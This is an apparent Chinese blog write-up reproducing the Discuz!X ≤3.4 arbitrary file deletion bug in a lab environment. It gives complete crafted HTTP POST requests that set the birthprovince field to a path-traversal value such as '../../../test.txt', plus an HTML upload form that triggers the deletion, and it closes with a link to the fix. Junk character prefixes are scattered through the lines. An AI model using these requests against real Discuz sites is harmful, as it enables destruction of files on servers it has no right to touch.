Discuz!X 3.4 任意文件删除漏洞复现

fudyou

" `9 z+ Q7 ^% K; ]7 }' t
前言：9月29日，Discuz修复了一个前台任意文件删除的漏洞，相似的漏洞曾在2014年被提交给wooyun和discuz官方，但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复，但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。
. _2 [% V7 e" J/ v4 A3 s5 \影响版本：Discuz < =3.4 环境

复现过程：首先在discuz目录下新建一个test.txt文件，到时候删除用。
新建test.txt
* h. J0 x" P& d1 {5 g访问：http://192.168.220.131/home.php?mod=spacecp，然查审查元素，查看formhash的值，然后复制。
1 T' j/ Z; b& s( j# t+ r# L

& v7 F% k5 U  a查看formhash
/ `, P5 {6 o4 _+ t" P; M3 Z: L利用burp抓包，获取cookie





抓取cookie

6 R6 d/ J3 E# i发送下面数据包：修改cookie，formhash,还有删除的文件
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
1 g$ ~1 u6 |' v" ^# JHost: localhost
: u& J! g  i6 ^% y3 tContent-Length: 367
$ X) h; n) ^. B5 ^9 ECache-Control: max-age=0
% m6 t: {+ q2 R4 rUpgrade-Insecure-Requests: 1
* ^4 p+ g5 }3 W' ^  c' AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
7 l- o4 ~  y9 F. G' YAccept-Language: zh-CN,zh;q=0.8,en;q=0.6
* s! l0 A  P  o8 P6 `Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
Connection: close
+ A: n9 n! b: a( v/ W2 S------WebKitFormBoundaryPFvXyxL45f34L12s
2 R$ p' {# |1 h+ s' H; \Content-Disposition: form-data; name="formhash"
! }& a$ e/ V1 z3 [84a7f376
$ l5 t1 Z0 C6 ]! \& S. q------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../test.txt
& \% ?: T' e" D' v, ]+ S------WebKitFormBoundaryPFvXyxL45f34L12s
1 b0 j: T  A$ Y* n- F  dContent-Disposition: form-data; name="profilesubmit"
  |* e" e; A6 Y  B' i3 o: ]* O1
------WebKitFormBoundaryPFvXyxL45f34L12s--
发送删除的数据包
5 E) d( ~, n3 m9 U+ Y刷新页面，查看出生地就会显示成下图所示的状态：
8 x- j8 U5 @% u$ H/ I: x5 g. |9 L数据成功写入
- {" p: L7 M! I/ O
& g! e8 I4 M4 W2 ]% ^" M( _8 m5 P
6 h+ G3 P# J) G说明数据已经进入数据库：
5 p, r2 t$ A% S3 k0 A然后，新建一个upload.html，代码如下，将其中的ip改成discuz的域名，[form-hash]改成你的formhash：
% w' C; |3 Q! x& e+ R* j<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
7 z2 ?/ v& l; ~- W+ J<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="84a7f376"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
<input type="submit"value="Submit" />
. S8 b4 \0 |, z+ J7 s4 P7 J</from>


+ s2 Y% q% S; P+ W' I; P  q- p" O
  |; `3 {5 V8 t; B, w* g

6 S' e9 \) ^5 q0 d5 n或者直接构建数据包：
POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1
# \: t, L. n5 xHost: 192.168.220.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
" j8 B: ?- h- KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% M. s$ U. r2 p) {Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------123821742118716
+ Z# u' W2 y, d9 n) _Content-Length: 91989
Connection: close
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
! P4 S5 g; F: ?0 `: X( v. O* i( yUpgrade-Insecure-Requests: 1
-----------------------------123821742118716
Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"
Content-Type: image/jpeg
zerba（这里写啥都可以）
# \0 k( O( g+ \( B6 I7 [& |! I& `" L-----------------------------123821742118716--
) x; x" w* d1 X


# g3 L, |# P8 `5 N  a! s0 N

8 a- Q# O2 b+ w

+ Q9 _& q! R3 S
7 x4 w1 p# i  _


& q" i7 x9 F. n/ C) y7 C7 F  T* f进去discuz看看，可以看到，test.txt文件已经被删除了。

# N# V/ Z9 D0 {2 w6 ~/ ?5 [* T

0 C  Q# n( B" D+ u1 r; V
& C; b0 b% T% k8 Z* M
' A, ]; C7 V; y修复建议：https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
编辑upload/source/include/spacecp/spacecp_profile.php文件，删除和unlink相关代码。

8 t+ B  b8 d, D5 l+ `) m
6 e' L% o; ?/ a4 T/ A  c; {  N




; u0 I3 W5 N% Y! o* [( q
: P7 X3 H* {9 [$ R5 {